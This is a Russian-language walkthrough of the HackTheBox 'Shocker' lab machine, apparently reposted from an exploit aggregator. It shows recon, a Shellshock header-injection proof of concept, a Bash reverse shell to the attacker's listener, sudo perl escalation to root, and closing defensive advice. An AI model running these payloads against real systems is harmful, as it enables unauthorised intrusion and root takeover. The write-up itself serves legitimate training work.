Exploit for Shocker-TJNULL-OSCP

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-R3FR4KT-SHOCKER-TJNULL-OSCP-
# HackTheBox: Разбор Shocker

Структурированное и профессиональное прохождение, демонстрирующее выявление и ручную эксплуатацию критической уязвимости **Shellshock** , с последующим локальным повышением привилегий через неправильную конфигурацию `sudo` на целевом Linux.

* * *

## Технический обзор

  * **Целевая ОС:** Linux
  * **IP-адрес:** `10.10.10.56`
  * **Сложность:** Лёгкая
  * **Основные уязвимости:** Shellshock (CVE-2014-6271) и неправильная конфигурация привилегий sudo (`/usr/bin/perl`)
  * **Цель:** Получить начальный доступ пользователя через инъекцию переменных окружения CGI и повысить привилегии до root.



* * *

## 1\. Разведка и рекогносцировка

Оценка начинается с быстрого полнопортного TCP SYN-сканирования, нацеленного только на открытые порты (`--open`), с пропуском обнаружения хостов (`-Pn`) и разрешения DNS (`-n`) для ускорения сбора информации.

root@kitploit:~
    
    
    nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
    
    

### Целевое профилирование сервисов и уязвимостей

Первичный обход выявляет два активных сервиса. Мы проводим вторичное целевое сканирование для агрессивного определения версий (`-sCV`) и оценки уязвимостей на основе скриптов:

root@kitploit:~
    
    
    nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
    
    

### Результаты сканирования

  * **Порт 80:** HTTP (веб-сервер Apache)
  * **Порт 2222:** SSH (нестандартный порт)



* * *

## 2\. Фаззинг директорий и веб-разведка

Параллельно со сканированием уязвимостей мы запускаем подбор веб-директорий с помощью `gobuster` для картографирования скрытых ресурсов на Apache. Используем стандартный список слов из фреймворка SecLists:

root@kitploit:~
    
    
    gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
    
    

### Ключевая находка

Процесс фаззинга обнаруживает неиндексированную директорию **`/cgi-bin/`**. В устаревших веб-развёртываниях серверы Apache используют Common Gateway Interface (CGI) для выполнения серверных скриптов. Учитывая название машины и наличие этой папки, мы активно ищем исполняемые скрипты (например, `.sh`, `.cgi`), которые могут быть подвержены ошибкам инъекции переменных окружения.

Дальнейшая разведка выявляет скрипт с именем `user.sh`, находящийся внутри директории `/cgi-bin/`.

* * *

## 3\. Разработка эксплойта и получение первоначального доступа

### Проверка Shellshock (PoC)

Уязвимость **Shellshock (CVE-2014-6271)** позволяет злоумышленникам выполнять произвольные команды операционной системы путём внедрения вредоносных определений функций в заголовки HTTP-запросов (например, `User-Agent`), обрабатываемые уязвимыми экземплярами Bash.

Мы создаём настраиваемую команду `curl` для отправки доказательства концепции (PoC), предназначенного для принудительного выполнения команды `/usr/bin/id` на удалённой системе:

root@kitploit:~
    
    
    curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
    
    

  * **Результат:** Веб-сервер отвечает выводом команды `id`, что подтверждает **удалённое выполнение кода (RCE) без аутентификации, подобное аутентифицированному**.



### Установка обратной оболочки

Чтобы перевести наш вектор выполнения в интерактивный сеанс, мы устанавливаем локальный слушатель Netcat на платформе атаки:

root@kitploit:~
    
    
    nc -lvnp 4444
    
    

Затем вставляем строку обратной оболочки Bash в вредоносный заголовок `User-Agent`, чтобы принудительно вызвать обратный вызов через TCP:

root@kitploit:~
    
    
    curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
    
    

После успешного выполнения мы получаем стабильную оболочку с низкими привилегиями:

root@kitploit:~
    
    
    $ whoami
    shelly
    
    

* * *

## 4\. Локальное повышение привилегий (LPE)

Имея функциональный контекст пользователя в системе, мы проверяем наши локальные ограничения. Мы запрашиваем конфигурацию `sudo`, чтобы определить, авторизован ли пользователь `shelly` для выполнения команд с повышенными привилегиями без ввода пароля:

root@kitploit:~
    
    
    sudo -l
    
    

### Аудит конфигурации sudo

В выводе обнаруживается следующая запись высокого риска:

root@kitploit:~
    
    
    User shelly may run the following commands on shocker:
        (root) NOPASSWD: /usr/bin/perl
    
    

### Эксплуатация Perl через GTFOBins

Поскольку у нас есть неограниченный, неаутентифицированный доступ к выполнению бинарного файла **`perl`** от имени `root`, мы можем легко обойти ограничения бинарного файла. Сверяясь с **GTFOBins** , мы находим обёртку выполнения, которая указывает Perl перейти в родную системную оболочку (`/bin/sh`), сохраняя контекст идентификации выполнения (`root`):

root@kitploit:~
    
    
    sudo -u root perl -e 'exec "/bin/sh"'
    
    

Мы немедленно достигаем полного административного контекста выполнения:

root@kitploit:~
    
    
    # whoami
    root
    
    

* * *

## 5\. Пост-эксплуатация и сбор трофеев

Теперь, когда установлен root-доступ, мы переходим в соответствующие домашние каталоги для получения доказательств компрометации.

root@kitploit:~
    
    
    # Access User Flag
    cat /home/shelly/user.txt
    
    # Access Root Flag
    cat /root/root.txt
    
    

* * *

## Ключевые выводы и рекомендации по защите

  1. **Устраняйте уязвимое программное обеспечение:** Shellshock — это устаревшая, катастрофическая уязвимость в GNU Bash. Убедитесь, что все компоненты сервера получают своевременные обновления безопасности для базовых утилит.
  2. **Защищайте среду CGI:** Если сценарии CGI должны быть сохранены, убедитесь, что они работают в изолированных, изолированных моделях выполнения (например, с использованием специализированных сред выполнения контейнеров или сред chroot) и избегайте использования устаревших, уязвимых оболочек по умолчанию.
  3. **Соблюдайте строгий принцип минимальных привилегий:** Предоставление обычным пользователям неограниченного доступа к выполнению мощных встроенных интерпретаторов, таких как `perl`, `python` или `bash` через `sudo`, создаёт мгновенные векторы повышения привилегий. Доступ через sudo должен быть ограничен неинтерактивными, строго контролируемыми административными сценариями.



root@kitploit:~